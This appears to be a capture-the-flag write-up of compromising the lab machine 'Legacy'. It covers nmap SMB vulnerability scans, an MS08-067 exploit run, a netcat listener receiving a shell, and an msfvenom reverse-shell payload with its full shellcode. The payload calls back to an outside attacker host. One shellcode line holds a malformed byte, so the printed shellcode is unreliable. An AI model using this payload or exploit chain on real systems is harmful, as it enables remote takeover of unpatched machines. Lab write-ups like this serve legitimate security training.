An initial nmap scan shows three ports - two open ports which are both microsoft samba ports, and one closed port running ms-wbt-server

```
# Nmap 7.80 scan initiated Mon May 25 16:12:43 2020 as: nmap -sV -sC -oN legacy 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.092s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d04h27m37s, deviation: 2h07m16s, median: 5d02h57m37s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:54:80 (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-05-31T05:10:34+03:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 25 16:13:47 2020 -- 1 IP address (1 host up) scanned in 64.79 seconds
```

I noticed that the nmap script was able to gather information on the smb security mode with the guest account and tried signing into the share with guest creds and a blank password, then again with no info and it failed both times

```
root@kali:~/HTB/oscp_prep/Legacy# smbmap -H 10.10.10.4 -u guest -p ""
[!] Authentication error on 10.10.10.4
root@kali:~/HTB/oscp_prep/Legacy# smbmap -H 10.10.10.4 -u guest -p
usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD] [-s SHARE] [-d DOMAIN]
              [-P PORT] [-v] [--admin] [-x COMMAND] [--mode CMDMODE] [-L | -R [PATH] | -r [PATH]]
              [-A PATTERN | -g] [--dir-only] [--no-write-check] [-q] [--depth DEPTH]
              [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH]
              [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE]
              [--skip]
smbmap: error: argument -p: expected one argument
root@kali:~/HTB/oscp_prep/Legacy# smbmap -H 10.10.10.4
[!] Authentication error on 10.10.10.4
```

running all smb-enum and smb-vuln scripts on the target didnt reveal too much information except that this machine is vulnerable to EternalBlue and that we have anonymous read acess to the IPC share

```
root@kali:~/HTB/oscp_prep/Legacy# nmap --script=smb-enum*,smb-vuln* 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 17:43 EDT
Nmap scan report for 10.10.10.4
Host is up (0.092s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp  open   microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
3389/tcp closed ms-wbt-server

Host script results:
| smb-enum-shares:
|   note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)
|   account_used: <blank>
|   \\10.10.10.4\ADMIN$:
|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|     Anonymous access: <none>
|   \\10.10.10.4\C$:
|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|     Anonymous access: <none>
|   \\10.10.10.4\IPC$:
|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_    Anonymous access: READ
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 90.38 seconds
```

NOTE - smb $ means that the share is hidden from the network resource directory

I modified the script to check against some of the ms exploits which didnt seem to get scanned by the default scripts. This time we got some more relevant results

```
root@kali:~/HTB/oscp_prep/Legacy# nmap --script=smb-vuln-ms* 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 18:13 EDT
Nmap scan report for 10.10.10.4
Host is up (0.094s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
3389/tcp closed ms-wbt-server

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 9.49 seconds
```

The exploit was failing over and over and it was eventually because of running it against the wrong windows version... I tried creating numerous payloads for windows XP sp0/sp1 with msfvenom and they likely would have all worked against sp3.
I only discovered the correct version for sure when I used nmap's OS fingerprinting flag AND the smb-os-discovery script in the same command. Using them seperately never provided the SP3 version as the most likely OS version.

```
root@kali:/usr/share/nmap/scripts# nmap -sV --script=smb-os-discovery -O -Pn 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 20:13 EDT
Nmap scan report for 10.10.10.4
Host is up (0.092s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (94%), General Dynamics embedded (88%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft
:windows_server_2003::sp2 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::
sp2
Aggressive OS guesses: Microsoft Windows XP SP3 (94%), Microsoft Windows Server 2003 SP1 or SP2 (92
%), Microsoft Windows XP (92%), Microsoft Windows Server 2003 SP2 (92%), Microsoft Windows 2003 SP2
 (91%), Microsoft Windows Server 2003 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP
 SP2 or Windows Server 2003 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows X
P SP2 or SP3 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-06-01T09:11:24+03:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
 .
Nmap done: 1 IP address (1 host up) scanned in 18.98 seconds
```

Exploit running with the correct version of windows

```
root@kali:~/HTB/oscp_prep/Legacy# python exploit.py 10.10.10.4 6 445
###############################################################################
#   MS08-067 Exploit
#   This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_06
_netapi
#
#   Mod in 2018 by Andy Acer
#   - Added support for selecting a target port at the command line.
#   - Changed library calls to allow for establishing a NetBIOS session for SMB transport
#   - Changed shellcode handling to allow for variable length shellcode.
###############################################################################


$   This version requires the Python Impacket library version to 0_9_17 or newer.
$
$   Here's how to upgrade if necessary:
$
$   git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$   cd impacket
$   pip install .

###############################################################################

Windows XP SP3 English (NX)

[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish

[1]+  Terminated              python exploit.py 10.10.10.4 1 445
```

```
root@kali:~/HTB/oscp_prep/Legacy# nc -lvp 9000
listening on [any] 9000 ...
10.10.10.4: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.4] 1032
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

This was the final payload which ended up working with the script

```
root@kali:~/HTB/resp_pres/Legacy# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.29 LPORT=9000 EXITFUNC=thread -f c -a x86 --platform windows -v shellcode -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of c file: 1494 bytes
unsigned char shellcode[] =
"\xbb\xc9\x89\xe9\xaf\xed\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x97\x97\xe5\xc3\x83\xee\xfc\xe2\xf4\x0b\x7f\x67\xc3\x07\x97"
"\x05\x4a\x72\xa8\x25\xa7\x1c\xc7\xd5\x40\xc5\x9b\x6e\x91\x83"
"\x1c\x97\xeb\x98\x20\xaf\xe5\xa6\x88\x49\xff\xf6\xeb\xe7\xef"
"\xb7\x56\x2a\xce\x06\x50\x07\x31\xc5\xc0\x6e\x91\x87\x1c\xaf"
"\xff\x1c\xdb\xf4\xbb\x74\xdf\xe4\x12\xc6\x1c\xbc\xe3\x90\x44"
"\x6e\x8a\x8f\x74\xdf\x8a\x1c\xa3\x6e\xc2\x41\xe0\x1a\x6f\x58"
"\x98\xe8\xc2\x98\xaf\x85\xb6\x81\x94\x98\x38\xac\xea\xc1\xbb"
"\x73\xcf\x6e\x8b\xb3\x90\xd8\xa5\x1c\x9b\xae\x40\xcf\x8b\xe4"
"\x10\x1c\x93\x8e\xc2\x47\xc1e\xa1\xe7\xb3\xcc\xbe\xa2\xce\xcd"
"\xb4\x1c\x77\xc8\xba\x99\x1c\x89\x8e\x4e\xca\xff\x88\xf1\x97"
"\x97\x88\xb4\xe4\xa6\x8a\x97\xff\x8b\x82\xe5\x98\x88\x80\x7b"
"\x97\x98\xe5\xc3\xbe\x53\xb1\x83\xff\xbe\x65\xa0\x97\x60\x30"
"\x93\xc7\xc7\x85\x83\xc7\xd3\x85\xab\x7d\x58\x3e\x23\x60\x42"
"\x72\xa8\x92\xff\xef\xc9\x99\x8a\x86\xc1\x97\xb4\xcd\x4a\x71"
"\xfd\xf5\x95\xc8\xff\x2c\x86\xe8\xf8\x1a\x18\x12\x57\x91\xcf"
"\x60\x89\xed\xb8\x7b\xff\x15\x76\x35\xc1\x1a\x16\xff\xf4\x88"
"\xa7\x97\x1e\x88\x94\xc0\xc0\xd4\x39\xfd\x85\xbc\x55\x75\x8a"
"\x83\x84\x89\x83\x99\xc2\x90\x1a\xa1\xe7\x87\x91\xe9\x87\xc3"
"\xc7\xb3\x95\xc1\xd1\xb3\x80\xc1\xc1\xb6\x95\xff\xee\x29\xfc"
"\x11\x68\x30\x4a\x77\xd9\xb3\x85\x68\xa7\x8d\xcb\x18\x8a\x85"
"\x3c\x42\x2c\x89\xde\xbd\x90\x8d\x89\x82\x2a\x70\x1c\x42\xab"
"\xeb\xbf\x90\x17\x1e\x23\xe2\x82\x3e\x84\x84\xe9\x8a\xa9\x97"
"\xc4\x1a\x16";
```